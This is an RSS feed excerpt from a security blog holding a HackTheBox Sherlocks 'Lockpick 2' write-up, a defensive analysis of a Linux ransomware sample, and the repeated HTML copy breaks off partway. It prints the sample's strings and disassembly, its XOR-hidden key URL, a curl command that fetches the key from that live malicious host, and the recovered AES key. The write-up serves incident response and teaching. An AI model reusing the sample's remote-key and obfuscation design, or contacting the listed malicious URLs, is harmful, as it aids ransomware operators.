<li>Esparza, J. (2011, November 14). Analysis of a malicious PDF from a SEO sploit pack. Eternal Todo. <a href="https://eternal-todo.com/blog/seo-sploit-pack-pdf-analysis">https://eternal-todo.com/blog/seo-sploit-pack-pdf-analysis</a></li>
<li>Wikipedia contributors. (2025, October 15). History of PDF. In <em>Wikipedia, The Free Encyclopedia</em>. Retrieved 21:31, December 27, 2025, from <a href="https://en.wikipedia.org/w/index.php?title=History_of_PDF&amp;oldid=1316915536">https://en.wikipedia.org/w/index.php?title=History<em>of</em>PDF&amp;oldid=1316915536</a></li></ul>
]]></content:encoded>
      <guid>https://codebeta.com/analyzing-pdf-malware</guid>
      <pubDate>Thu, 01 Jan 2026 17:21:24 +0000</pubDate>
    </item>
    <item>
      <title>HTB Sherlocks: Lockpick 2</title>
      <link>https://codebeta.com/htb-sherlocks-lockpick-2?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[The Lockpick 2 challenge is part of the HackTheBox Sherlocks defensive security scenarios. This challenge is already retired, and available for VIP members.&#xA;&#xA;The challenge description mentions that the organization was hit with a ransomware, with it managing to encrypt a large amount of files. The organization has a stance on not paying the ransom, thus they need to have the captured sample analyzed to determine if it&#39;s possible to decrypt the files.&#xA;&#xA;This write-up uses static analysis of the files, and Radare2 for the analysis of the binary.&#xA;&#xA;!--more--&#xA;&#xA;The provided ZIP archive contains several encrypted files with the extension 24bes, the ransomware and danger note, and another ZIP archive that contains the binary sample to be analyzed. Below is the structure of the ZIP archive for the challenge.&#xA;&#xA;lockpick2.0&#xA;├── DANGER.txt&#xA;├── malware.zip&#xA;└── share&#xA;    ├── countdown.txt&#xA;    ├── expanding-horizons.pdf.24bes&#xA;    └── takeover.docx.24bes&#xA;&#xA;For documentation purposes, hashes of the files are collected.&#xA;&#xA;452c3328667b7242132bf0821c9d4424  ./lockpick2.0/share/takeover.docx.24bes&#xA;425d610faab2eb49d5aec7f37de59484  ./lockpick2.0/share/expanding-horizons.pdf.24bes&#xA;e2edc252b5776a1e9c63c58b5328ae3a  ./lockpick2.0/share/countdown.txt&#xA;62c05b0f64aa0bd8419c30216b2f106d  ./lockpick2.0/DANGER.txt&#xA;bee5debabd4ab24a5d844f8bc0562e33  ./lockpick2.0/malware.zip&#xA;&#xA;The DANGER.txt file is a note to the analyst, providing some analysis instructions and the password for the ZIP archive that contains the binary sample.&#xA;&#xA;Analyze the Share Files&#xA;&#xA;Let us analyze the files within the share directory.&#xA;&#xA;The countdown.txt file is the ransom note left by the ransomware, it contains a BTC address and an Onion address that can be used to reach out to the threat actors.&#xA;&#xA;The BTC address can be checked through a blockchain tracker. This is outside of the scope of this analysis, so we&#39;ll just make a note of the information as indicators of compromise (IoC).&#xA;&#xA;The Onion address is also being documented as an IoC, and any monitoring tools used within the organization checked for the presence of connection attempts to this address.&#xA;&#xA;Reviewing the files with the extension 24bes, they show up as being data&#xA;&#xA;$ file -k expanding-horizons.pdf.24bes takeover.docx.24bes&#xA;expanding-horizons.pdf.24bes: data&#xA;takeover.docx.24bes:          data&#xA;&#xA;Which is expected since the data is encrypted, this can be further confirmed by checking the initial bytes of the file with a hex editor or hex dump tool such as xxd&#xA;&#xA;$ xxd -l 64 expanding-horizons.pdf.24bes&#xA;00000000: 0109 8fec f14f 7659 16bf ee41 7d13 1624  .....OvY...A}..$&#xA;00000010: 2175 87e4 9f7f ca99 db8b ab7f b13f 6370  !u...........?cp&#xA;00000020: 0517 0432 99d4 ed8f 494b 24c1 5e89 21b0  ...2....IK$.^.!.&#xA;00000030: 8ec5 74d3 e96a 80c8 389b 6c05 7f6a c0ef  ..t..j..8.l..j..&#xA;&#xA;$ xxd -l 64 takeover.docx.24bes&#xA;00000000: 16b1 2ad0 2a87 38a4 7a5b 9e59 5b3a 8801  ....8.z[.Y[:..&#xA;00000010: 2daf 1eae bf01 5b06 5a3f b4f6 ef5c 4c00  -.....[.Z?...\L.&#xA;00000020: 1930 282b 1028 9553 ebaf ffbd 4118 9e86  .0(+.(.S....A...&#xA;00000030: 7c7b 70c3 102b f249 cd9e c0ec a7df 88f1  |{p..+.I........&#xA;&#xA;There is no recognizable magic bytes for the files. At this point there&#39;s nothing else to analyze of these files.&#xA;&#xA;Initial Analysis of update&#xA;&#xA;The binary sample in the ZIP archive is named update, the first step after extracting the file is to generate the hash&#xA;&#xA;$ md5sum update&#xA;8b2d4bc2f26d76c1a900e53483731013  update&#xA;&#xA;The hash is then checked in malware analysis services, such as VirusTotal, to determine if the sample has been submitted previously or if it may be a new malware or targeted. Checking in VirusTotal shows that there are 33 out of 65 providers have tagged this binary as malicious, it confirms the suspicion on this being the ransomware.&#xA;&#xA;Checking sample in VirusTotal&#xA;&#xA;The tags for this entry show that the binary is packed using UPX Packer, which is a common packer used to obfuscate binaries, and threat actors also use this packer to obfuscate their malware with the intention of complicating analysis.&#xA;&#xA;Let us further analyze this binary to determine how it manages to encrypts the data.&#xA;&#xA;The binary file is loaded into Detect It Easy, with the intention of confirming the packing being used. There are several ways that the packing being used can be confirmed, further information on this can be found on the post Analyzing Packed Binaries.&#xA;&#xA;Analyzing the sample in Detect It Easy&#xA;&#xA;The packed binary can be extracted by using the UPX Packer with the following command&#xA;&#xA;./upx -d -o update.elf update&#xA;&#xA;The unpacked binary is saved to disk with the filename update.elf, this can now be analized by reverse engineering. Loading this binary into Radare2 for the reverse engineering.&#xA;&#xA;$ r2 update.elf&#xA;[0x00001280]  aaaa&#xA;INFO: Analyze all flags starting with sym. and entry0 (aa)&#xA;INFO: Analyze imports (af@@@i)&#xA;INFO: Analyze entrypoint (af@ entry0)&#xA;INFO: Analyze symbols (af@@@s)&#xA;INFO: Analyze all functions arguments/locals (afva@@@F)&#xA;INFO: Analyze function calls (aac)&#xA;INFO: Analyze len bytes of instructions for references (aar)&#xA;INFO: Finding and parsing C++ vtables (avrr)&#xA;INFO: Analyzing methods (af @@ method.)&#xA;INFO: Recovering local variables (afva@@@F)&#xA;INFO: Type matching analysis for all functions (aaft)&#xA;INFO: Propagate noreturn information (aanr)&#xA;INFO: Scanning for strings constructed in code (/azs)&#xA;INFO: Finding function preludes (aap)&#xA;INFO: Enable anal.types.constraint for experimental type propagation&#xA;[0x00001280]  After loading the binary in r2, the aaaa command analyzes the binary to identify the different parts that make up the program. One of the first parts to check are the strings, this is achieved with the iz command&#xA;&#xA;[0x00001280]  iz&#xA;[Strings]&#xA;nth paddr      vaddr      len size section type  string&#xA;―――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;0   0x00003010 0x00003010 5   6    .rodata ascii \nCLIG&#xA;1   0x00003030 0x00003030 5   6    .rodata ascii \nCLIG&#xA;2   0x00003050 0x00003050 5   6    .rodata ascii \nCLIG&#xA;3   0x00003070 0x00003070 5   6    .rodata ascii \nCLIG&#xA;4   0x00003090 0x00003090 5   6    .rodata ascii \nCLIG&#xA;5   0x000030a3 0x000030a3 18  19   .rodata ascii b7894532snsmajuys6&#xA;6   0x000030b8 0x000030b8 31  32   .rodata ascii curleasyperform() failed: %s\n&#xA;7   0x000030d8 0x000030d8 31  32   .rodata ascii Could not open output file: %s\n&#xA;8   0x000030f8 0x000030f8 4   5    .rodata ascii .txt&#xA;9   0x000030fd 0x000030fd 4   5    .rodata ascii .pdf&#xA;10  0x00003102 0x00003102 4   5    .rodata ascii .sql&#xA;11  0x0000310b 0x0000310b 5   6    .rodata ascii .docx&#xA;12  0x00003111 0x00003111 5   6    .rodata ascii .xlsx&#xA;13  0x00003117 0x00003117 5   6    .rodata ascii .pptx&#xA;14  0x0000311d 0x0000311d 4   5    .rodata ascii .zip&#xA;15  0x00003122 0x00003122 4   5    .rodata ascii .tar&#xA;16  0x00003127 0x00003127 7   8    .rodata ascii .tar.gz&#xA;17  0x0000312f 0x0000312f 13  14   .rodata ascii countdown.txt&#xA;18  0x0000313d 0x0000313d 7   8    .rodata ascii /share/&#xA;19  0x00003145 0x00003145 15  16   .rodata ascii Update failed.\n&#xA;20  0x00003158 0x00003158 40  41   .rodata ascii Running update, testing update endpoints&#xA;21  0x00003181 0x00003181 11  12   .rodata ascii Updating %s&#xA;22  0x0000318d 0x0000318d 11  12   .rodata ascii  Successful&#xA;23  0x000031a0 0x000031a0 46  47   .rodata ascii Update complete - thank you for your patience.&#xA;24  0x000031cf 0x000031cf 16  17   .rodata ascii %s/countdown.txt&#xA;25  0x000031e0 0x000031e0 32  33   .rodata ascii https://pastes.io/raw/foiawsmlsk&#xA;26  0x00003201 0x00003201 5   6    .rodata ascii %s/%s&#xA;27  0x00003210 0x00003210 30  31   .rodata ascii Could not open input file: %s\n&#xA;28  0x0000322f 0x0000322f 8   9    .rodata ascii %s.24bes&#xA;29  0x00003240 0x00003240 39  40   .rodata ascii Failed to delete the original file: %s\n&#xA;&#xA;Let&#39;s analyze the strings that are shown here&#xA;&#xA;The strings show several extensions that can point to the file that the ransomware targets.&#xA;There is also 2 strings that point to the filename of the ransom note that was included in the ZIP archive.&#xA;There&#39;s mention of the /share/ path which may point to the share directory that was included in the ZIP archive.&#xA;The extension 24bes is also mentioned.&#xA;The URL https://pastes.io/raw/foiawsmlsk needs to be further investigated&#xA;There are other strings that point to status or error messages, as well as some that may either be encrypted or encoded.&#xA;&#xA;Checking the URL, it shows that the ransom note is stored. This allows for the threat actor to modify the note without having to release new malware.&#xA;&#xA;Ransom note on Pastes site&#xA;&#xA;There&#39;s not much else to go on with the strings, so let&#39;s now look at the libraries that are used by the ransomware. The command il shows the linked libraries.&#xA;&#xA;[0x00001280]  il&#xA;[Linked libraries]&#xA;libcrypto.so.3&#xA;libcurl.so.4&#xA;libc.so.6&#xA;&#xA;3 libraries&#xA;&#xA;The libraries that are imported give an idea of the functionality that this ransomware has, keeping in mind that it is possible that the malware loads additional libraries dynamically during execution.&#xA;&#xA;Based on these libraries, the following can be determined&#xA;&#xA;The libcrypto library provides the encryption capabilities, which are obvious for a ransomware.&#xA;The libcurl library is used to download and upload data through various protocols.&#xA;&#xA;Based on the information that is known up to this point, the libcurl appears to be used to obtain the ransom note from the URL that was found in the strings. However, it&#39;s still unknown how the encryption happens or what key is used, so further analysis of the functions is needed.&#xA;&#xA;Analyzing the Functions&#xA;&#xA;Let&#39;s first focus on the functions that are used from the libraries that are imported by the binary. The command ii is used to list these functions, the output from Radare2 shows the function name&#xA;&#xA;[0x00001280]  ii&#xA;[Imports]&#xA;nth vaddr      bind   type   lib name&#xA;―――――――――――――――――――――――――――――――――――――&#xA;1   0x00001030 GLOBAL FUNC       printf&#xA;2   0x00001040 GLOBAL FUNC       EVPEncryptUpdate&#xA;3   0x00001050 GLOBAL FUNC       curlglobalinit&#xA;4   0x00001060 GLOBAL FUNC       curlglobalcleanup&#xA;5   0x00001070 GLOBAL FUNC       strlen&#xA;6   0x00001080 GLOBAL FUNC       OPENSSLinitcrypto&#xA;7   0x00001090 GLOBAL FUNC       ERRprinterrorsfp&#xA;8   0x000010a0 GLOBAL FUNC       abort&#xA;9   0x000010b0 GLOBAL FUNC       EVPEncryptInitex&#xA;10  0x000010c0 GLOBAL FUNC       EVPaes256cbc&#xA;11  0x000010d0 GLOBAL FUNC       EVPCIPHERCTXnew&#xA;12  ---------- GLOBAL FUNC       _libcstartmain&#xA;13  0x000010e0 GLOBAL FUNC       sleep&#xA;14  0x000010f0 GLOBAL FUNC       memcpy&#xA;15  0x00001100 GLOBAL FUNC       stat&#xA;16  0x00001110 GLOBAL FUNC       fclose&#xA;17  0x00001120 GLOBAL FUNC       EVPCIPHERCTXfree&#xA;18  0x00001130 GLOBAL FUNC       strrchr&#xA;19  0x00001140 GLOBAL FUNC       curleasysetopt&#xA;20  0x00001150 GLOBAL FUNC       fflush&#xA;21  0x00001160 GLOBAL FUNC       fopen&#xA;22  0x00001170 GLOBAL FUNC       curleasycleanup&#xA;23  0x00001180 GLOBAL FUNC       curleasyinit&#xA;24  0x00001190 GLOBAL FUNC       curleasyperform&#xA;25  0x000011a0 GLOBAL FUNC       putchar&#xA;26  0x000011b0 GLOBAL FUNC       strcmp&#xA;27  0x000011c0 GLOBAL FUNC       fprintf&#xA;28  0x000011d0 GLOBAL FUNC       curleasystrerror&#xA;29  0x000011e0 GLOBAL FUNC       fread&#xA;30  0x000011f0 GLOBAL FUNC       opendir&#xA;31  0x00001200 GLOBAL FUNC       readdir&#xA;32  0x00001210 GLOBAL FUNC       puts&#xA;33  0x00001220 GLOBAL FUNC       EVPEncryptFinalex&#xA;34  0x00001230 GLOBAL FUNC       snprintf&#xA;35  0x00001240 GLOBAL FUNC       closedir&#xA;36  ---------- WEAK   NOTYPE     ITMderegisterTMCloneTable&#xA;37  0x00001250 GLOBAL FUNC       remove&#xA;38  ---------- WEAK   NOTYPE     _gmonstart_&#xA;39  ---------- WEAK   NOTYPE     ITMregisterTMCloneTable&#xA;40  0x00001260 GLOBAL FUNC       fwrite&#xA;42  0x00001270 WEAK   FUNC       cxafinalize&#xA;&#xA;There are several functions that call my attention and that provide some relevant information&#xA;&#xA;The EVPaes256cbc (0x10c0) function points to the encryption algorithm that is being used by the ransomware.&#xA;There are several file handling functions, which is expected.&#xA;The cURL functions are expected, but the most relevant one is the curleasyperform (0x1190) since it&#39;s the one that is used to download data.&#xA;&#xA;Before looking further into where the 2 functions mentioned above are used within the malware, let&#39;s look at the functions that are exported by the binary by using the iE command.&#xA;&#xA;[0x00001280]  iE&#xA;[Exports]&#xA;nth paddr      vaddr      bind   type   size lib name                demangled&#xA;――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;41  ---------- 0x00005140 GLOBAL OBJ    8        stdout&#xA;43  ---------- 0x00005160 GLOBAL OBJ    8        stderr&#xA;49  ---------- 0x00005140 GLOBAL OBJ    8        stdout@GLIBC2.2.5&#xA;50  0x00003030 0x00003030 GLOBAL OBJ    19       K2&#xA;52  0x00001af3 0x00001af3 GLOBAL FUNC   394      getkeyfromurl&#xA;53  ---------- 0x00005138 GLOBAL NOTYPE 0        edata&#xA;56  0x00003000 0x00003000 GLOBAL OBJ    4        IOstdinused&#xA;58  0x00003050 0x00003050 GLOBAL OBJ    19       K3&#xA;62  0x00001787 0x00001787 GLOBAL FUNC   810      main&#xA;63  0x00004130 0x00005130 GLOBAL OBJ    8        HESB&#xA;66  0x00004128 0x00005128 GLOBAL OBJ    0        dsohandle&#xA;68  0x00001ab1 0x00001ab1 GLOBAL FUNC   66       writebinarydata&#xA;69  0x00003070 0x00003070 GLOBAL OBJ    19       K4&#xA;72  0x00001c7d 0x00001c7d GLOBAL FUNC   426      handledirectory&#xA;73  0x00002064 0x00002064 GLOBAL FUNC   0        fini&#xA;77  0x00003090 0x00003090 GLOBAL OBJ    19       K5&#xA;79  0x0000141d 0x0000141d GLOBAL FUNC   140      xorcipher&#xA;80  0x000014a9 0x000014a9 GLOBAL FUNC   58       writedata&#xA;81  0x0000161c 0x0000161c GLOBAL FUNC   24       handleErrors&#xA;82  0x00001280 0x00001280 GLOBAL FUNC   34       start&#xA;84  0x000014e3 0x000014e3 GLOBAL FUNC   313      downloadlyrics&#xA;87  0x00001000 0x00001000 GLOBAL FUNC   0        init&#xA;88  ---------- 0x00005138 GLOBAL OBJ    0        TMCEND_&#xA;94  0x0000173d 0x0000173d GLOBAL FUNC   74       encrypt&#xA;96  ---------- 0x00005160 GLOBAL OBJ    8        stderr@GLIBC2.2.5&#xA;97  0x00004120 0x00005120 GLOBAL NOTYPE 0        _datastart&#xA;98  ---------- 0x00005170 GLOBAL NOTYPE 0        end&#xA;105 ---------- 0x00005138 GLOBAL NOTYPE 0        bssstart&#xA;108 0x00001e27 0x00001e27 GLOBAL FUNC   573      encryptfile&#xA;109 0x00001634 0x00001634 GLOBAL FUNC   265      istargetextension&#xA;115 0x00003010 0x00003010 GLOBAL OBJ    19       K1&#xA;&#xA;Focusing on the lines that have the type of FUNC, there are 2 functions that appear to be relevant&#xA;&#xA;The function getkeyfromurl (0x1af3) points to the a key being obtained from an external source, which could potentially be the encryption key.&#xA;The xorcipher (0x141d) function points to the use of XOR encryption being used besides the AES algorithm.&#xA;&#xA;Let&#39;s see if there is any relation between these 4 functions that are considered relevant in this binary. The axt command is used to find the references to a specified address, the sintaxis of this command is axt addr.&#xA;&#xA;Let&#39;s look at the usage of the EVPaes256cbc function. The output shows that the function is called from the sym.encryptfile function, confirming that it&#39;s the encryption algorithm being used to encrypt the files.&#xA;&#xA;[0x00001280]  axt 0x10c0&#xA;sym.encryptfile 0x1f22 [CALL:--x] call sym.imp.EVPaes256cbc&#xA;&#xA;The curleasyperform function is called by 2 different functions, with the getkeyfromurl being the more relevant one. This confirms that data is being downloaded.&#xA;&#xA;[0x00001280]  axt 0x1190&#xA;sym.downloadlyrics 0x159f [CALL:--x] call sym.imp.curleasyperform&#xA;sym.getkeyfromurl 0x1bdc [CALL:--x] call sym.imp.curleasyperform&#xA;&#xA;The getkeyfromurl function is called from the main function.&#xA;&#xA;[0x00001280]  axt 0x1af3&#xA;main 0x17c4 [CALL:--x] call sym.getkeyfromurl&#xA;&#xA;The xorcipher is called from the getkeyfromurl function, which can mean that there is one or more pieces of data that are encrypted and that are used in relation to the key that is downloaded.&#xA;&#xA;[0x00001280]  axt 0x141d&#xA;main 0x186c [CALL:--x] call sym.xorcipher&#xA;main 0x18fe [CALL:--x] call sym.xorcipher&#xA;main 0x1990 [CALL:--x] call sym.xorcipher&#xA;main 0x1a22 [CALL:--x] call sym.xorcipher&#xA;sym.getkeyfromurl 0x1b45 [CALL:--x] call sym.xorcipher&#xA;&#xA;The focus now shifts to look into the getkeyfromurl function, in order to determine the URL that the key is obtained from. The first step is to move the address where the function starts, this is achieved with the command s 0x1af3, and then print the disassembled function using the pdf command.&#xA;&#xA;[0x00001af3]  pdf&#xA;            ; CALL XREF from main @ 0x17c4(x)&#xA;┌ 394: sym.getkeyfromurl (void arg1, int64t arg2);&#xA;│           ; arg void arg1 @ rdi&#xA;│           ; arg int64t arg2 @ rsi&#xA;│           ; var uint32t var8h @ rbp-0x8&#xA;│           ; var int64t varch @ rbp-0xc&#xA;│           ; var int64t var10h @ rbp-0x10&#xA;│           ; var int64t var14h @ rbp-0x14&#xA;│           ; var int64t var18h @ rbp-0x18&#xA;│           ; var uint32t var1ch @ rbp-0x1c&#xA;│           ; var void s2 @ rbp-0x50&#xA;│           ; var int64t var90h @ rbp-0x90&#xA;│           ; var void s1 @ rbp-0x98&#xA;│           ; var int64t vara0h @ rbp-0xa0&#xA;│           0x00001af3      55             push rbp&#xA;│           0x00001af4      4889e5         mov rbp, rsp&#xA;│           0x00001af7      4881eca000..   sub rsp, 0xa0&#xA;│           0x00001afe      4889bd68ff..   mov qword [s1], rdi         ; arg1&#xA;│           0x00001b05      4889b560ff..   mov qword [vara0h], rsi    ; arg2&#xA;│           0x00001b0c      bf03000000     mov edi, 3&#xA;│           0x00001b11      e83af5ffff     call sym.imp.curlglobalinit&#xA;│           0x00001b16      e865f6ffff     call sym.imp.curleasyinit&#xA;│           0x00001b1b      488945f8       mov qword [var8h], rax&#xA;│           0x00001b1f      48837df800     cmp qword [var8h], 0&#xA;│       ┌─&lt; 0x00001b24      0f840f010000   je 0x1c39&#xA;│       │   0x00001b2a      488b15ff35..   mov rdx, qword [obj.HESB]   ; [0x5130:8]=0x30a3 str.b7894532snsmajuys6 ; char arg3&#xA;│       │   0x00001b31      488d8570ff..   lea rax, [var90h]&#xA;│       │   0x00001b38      4889c6         mov rsi, rax                ; int64t arg2&#xA;│       │   0x00001b3b      488d05ce14..   lea rax, obj.K1             ; 0x3010 ; &#34;\nCLIG\x0f\x1c\x1d\x01\f]\n\x18EF\x1f\x1fE\x1b&#34;&#xA;│       │   0x00001b42      4889c7         mov rdi, rax                ; char arg1&#xA;│       │   0x00001b45      e8d3f8ffff     call sym.xorcipher&#xA;[..SNIP..]&#xA;&#xA;The function is long, so focusing on the first lines of the function, it becomes apparent data is decrypted as the initial steps. Let&#39;s break down the information that is seen.&#xA;&#xA;At address 0x1b2a the value b7894532snsmajuys6 is moved into the rdx register, this would be the key being used for the encryption and decryption.&#xA;The memory address of a binary value is being stored in the rax register, this could be the encrypted data.&#xA;&#xA;The binary data is found at the address 0x3010, the command px can be used to print the hex dump of the memory region, the full command is px @ 0x3010, and the screenshot below shows the binary data that is referenced&#xA;&#xA;XOR Encrypted Binary Data&#xA;&#xA;To make it easier to handle the binary data, we&#39;ll copy the hex bytes, these being 0a434c49470f1c1d010c5d0a1845461f1f451b. CyberChef can be used to decrypt the data, with the operations From Hex and XOR.&#xA;&#xA;Decrypting the XOR binary data via CyberChef&#xA;&#xA;The encrypted data contained the URL https://rb.gy/3flsy, which would mean that the key that is used would be downloaded from this address.&#xA;&#xA;Reviewing the hex dump above, it appears that there are other URLs that are encrypted, and the CLIG string is a common denominator among them. Decrypting these URLs can be done in the same manner as shown above, they are decoys and don&#39;t contain any valuable data, so are skipped for the purposes of this writeup.&#xA;&#xA;Further reviewing the disassembled function, specifically how the data is downloaded from the URL. Checking the documentation for this function shows that this is used to perform a blocking file transfer, the example shows that the data that is downloaded is stored in a variable.&#xA;&#xA;int main(void)&#xA;{&#xA;  CURL curl = curleasyinit();&#xA;  if(curl) {&#xA;    CURLcode res;&#xA;    curleasysetopt(curl, CURLOPTURL, &#34;https://example.com&#34;);&#xA;    res = curleasyperform(curl);&#xA;    curleasycleanup(curl);&#xA;  }&#xA;}&#xA;&#xA;The above code shows that the curleasysetopt function is called to configure the curl object, and then the curleasyperform function is called to execute the download action.&#xA;&#xA;The following command can be used to download the data to a file named 3flsy.&#xA;&#xA;curl -vLO --url &#39;https://rb.gy/3flsy&#39;&#xA;&#xA;Checking the file, it contains binary data, and it can be viewed with xxd to obtain the data&#xA;&#xA;$ xxd 3flsy&#xA;00000000: f3fc 056d a118 5eae 370d 76d4 7c4c f9db  ...m..^.7.v.|L..&#xA;00000010: 9f4e fd1c 1585 cde3 a7bc c6cb 5889 f6db  .N..........X...&#xA;00000020: 0144 8c79 0993 9e13 ce35 9710 b9f0 dc2e  .D.y.....5......&#xA;&#xA;Decrypting the Files&#xA;&#xA;Now that the key has been obtained, we need to determine how to decrypt the files. Reviewing the available data, the files are encrypted using AES 256 CBC algorithm, and this can be decrypted using CyberChef.&#xA;&#xA;By using the AES Decrypt operation it is possible to decrypt the files, there is relevant information displayed in the output&#xA;&#xA;  Invalid key length: 0 bytes&#xA;    The following algorithms will be used based on the size of the key:&#xA;  16 bytes = AES-128&#xA;  24 bytes = AES-192&#xA;  32 bytes = AES-256&#xA;&#xA;Knowing that the encryption used is AES 256, the key should have a length of 32 bytes. However, the file has a size of 48 bytes, this means that it contains 16 additional bytes.&#xA;&#xA;The AES encryption requires a key and an initialization vector_, meaning that it&#39;s possible that this key that was downloaded contains both values. Lets extract the key and IV values from the file with the xxd command&#xA;&#xA;$ xxd -l 32 -ps 3flsy&#xA;f3fc056da1185eae370d76d47c4cf9db9f4efd1c1585cde3a7bcc6cb5889&#xA;f6db&#xA;&#xA;$ xxd -s 32 -ps 3flsy&#xA;01448c7909939e13ce359710b9f0dc2e&#xA;&#xA;  The -l stops the printing of the hexdump after the specified amount of bytes. The -s starts at the specified bytes, instead of starting at 0. The -ps option prints only the hex values&#xA;&#xA;These values are used in the AES Decrypt recipe in CyberChef, along with the encrypted files.&#xA;&#xA;Decrypting the files&#xA;&#xA;The encrypted data can now be restored to it&#39;s original state.&#xA;&#xA;Conclusion&#xA;&#xA;The threat actor has altered their tactics and now doesn&#39;t hard code all of the necessary information, while making them available through a web service that can be easily altered to change the result of the encryption.&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>The <a href="https://app.hackthebox.com/sherlocks/Lockpick2.0">Lockpick 2</a> challenge is part of the <a href="https://www.hackthebox.com/blog/sherlocks">HackTheBox Sherlocks</a> defensive security scenarios. This challenge is already retired, and available for VIP members.</p>

<p>The challenge description mentions that the organization was hit with a ransomware, with it managing to encrypt a large amount of files. The organization has a stance on not paying the ransom, thus they need to have the captured sample analyzed to determine if it&#39;s possible to decrypt the files.</p>

<p>This write-up uses static analysis of the files, and Radare2 for the analysis of the binary.</p>



<p>The provided ZIP archive contains several encrypted files with the extension <code>24bes</code>, the ransomware and danger note, and another ZIP archive that contains the binary sample to be analyzed. Below is the structure of the ZIP archive for the challenge.</p>

<pre><code class="language-text">lockpick2.0
├── DANGER.txt
├── malware.zip
└── share
    ├── countdown.txt
    ├── expanding-horizons.pdf.24bes
    └── takeover.docx.24bes
</code></pre>

<p>For documentation purposes, hashes of the files are collected.</p>

<pre><code class="language-text">452c3328667b7242132bf0821c9d4424  ./lockpick2.0/share/takeover.docx.24bes
425d610faab2eb49d5aec7f37de59484  ./lockpick2.0/share/expanding-horizons.pdf.24bes
e2edc252b5776a1e9c63c58b5328ae3a  ./lockpick2.0/share/countdown.txt
62c05b0f64aa0bd8419c30216b2f106d  ./lockpick2.0/DANGER.txt
bee5debabd4ab24a5d844f8bc0562e33  ./lockpick2.0/malware.zip
</code></pre>

<p>The <code>DANGER.txt</code> file is a note to the analyst, providing some analysis instructions and the password for the ZIP archive that contains the binary sample.</p>

<h2 id="analyze-the-share-files" id="analyze-the-share-files">Analyze the Share Files</h2>

<p>Let us analyze the files within the <code>share</code> directory.</p>

<p>The <code>countdown.txt</code> file is the ransom note left by the ransomware, it contains a BTC address and an Onion address that can be used to reach out to the threat actors.</p>

<p>The BTC address can be checked through a blockchain tracker. This is outside of the scope of this analysis, so we&#39;ll just make a note of the information as <em>indicators of compromise</em> (IoC).</p>

<p>The Onion address is also being documented as an IoC, and any monitoring tools used within the organization checked for the presence of connection attempts to this address.</p>

<p>Reviewing the files with the extension <code>24bes</code>, they show up as being data</p>

<pre><code class="language-shellsession">$ file -k expanding-horizons.pdf.24bes takeover.docx.24bes
expanding-horizons.pdf.24bes: data
takeover.docx.24bes:          data
</code></pre>

<p>Which is expected since the data is encrypted, this can be further confirmed by checking the initial bytes of the file with a hex editor or hex dump tool such as <code>xxd</code></p>

<pre><code class="language-shellsession">$ xxd -l 64 expanding-horizons.pdf.24bes
00000000: 0109 8fec f14f 7659 16bf ee41 7d13 1624  .....OvY...A}..$
00000010: 2175 87e4 9f7f ca99 db8b ab7f b13f 6370  !u...........?cp
00000020: 0517 0432 99d4 ed8f 494b 24c1 5e89 21b0  ...2....IK$.^.!.
00000030: 8ec5 74d3 e96a 80c8 389b 6c05 7f6a c0ef  ..t..j..8.l..j..
</code></pre>

<pre><code class="language-shellsession">$ xxd -l 64 takeover.docx.24bes
00000000: 16b1 2ad0 2a87 38a4 7a5b 9e59 5b3a 8801  ..*.*.8.z[.Y[:..
00000010: 2daf 1eae bf01 5b06 5a3f b4f6 ef5c 4c00  -.....[.Z?...\L.
00000020: 1930 282b 1028 9553 ebaf ffbd 4118 9e86  .0(+.(.S....A...
00000030: 7c7b 70c3 102b f249 cd9e c0ec a7df 88f1  |{p..+.I........
</code></pre>

<p>There is no recognizable magic bytes for the files. At this point there&#39;s nothing else to analyze of these files.</p>

<h2 id="initial-analysis-of-update" id="initial-analysis-of-update">Initial Analysis of update</h2>

<p>The binary sample in the ZIP archive is named <code>update</code>, the first step after extracting the file is to generate the hash</p>

<pre><code class="language-shellsession">$ md5sum update
8b2d4bc2f26d76c1a900e53483731013  update
</code></pre>

<p>The hash is then checked in malware analysis services, such as VirusTotal, to determine if the sample has been submitted previously or if it may be a new malware or targeted. Checking in VirusTotal shows that there are 33 out of 65 providers have tagged this binary as malicious, it confirms the suspicion on this being the ransomware.</p>

<p><img src="https://i.snap.as/xG2efVnm.png" alt="Checking sample in VirusTotal"/></p>

<p>The tags for this entry show that the binary is packed using UPX Packer, which is a common packer used to obfuscate binaries, and threat actors also use this packer to obfuscate their malware with the intention of complicating analysis.</p>

<p>Let us further analyze this binary to determine how it manages to encrypts the data.</p>

<p>The binary file is loaded into <a href="https://github.com/horsicq/DIE-engine/releases">Detect It Easy</a>, with the intention of confirming the packing being used. There are several ways that the packing being used can be confirmed, further information on this can be found on the post <a href="https://codebeta.com/analyzing-packed-binaries">Analyzing Packed Binaries</a>.</p>

<p><img src="https://i.snap.as/eHt11egf.png" alt="Analyzing the sample in Detect It Easy"/></p>

<p>The packed binary can be extracted by using the <a href="https://github.com/upx/upx/releases">UPX Packer</a> with the following command</p>

<pre><code class="language-shell">./upx -d -o update.elf update
</code></pre>

<p>The unpacked binary is saved to disk with the filename <code>update.elf</code>, this can now be analized by reverse engineering. Loading this binary into <a href="https://github.com/radareorg/radare2">Radare2</a> for the reverse engineering.</p>

<pre><code class="language-shellsession">$ r2 update.elf
[0x00001280]&gt; aaaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
[0x00001280]&gt;
</code></pre>

<p>After loading the binary in <code>r2</code>, the <code>aaaa</code> command analyzes the binary to identify the different parts that make up the program. One of the first parts to check are the strings, this is achieved with the <code>iz</code> command</p>

<pre><code class="language-shellsession">[0x00001280]&gt; iz
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00003010 0x00003010 5   6    .rodata ascii \nCLIG
1   0x00003030 0x00003030 5   6    .rodata ascii \nCLIG
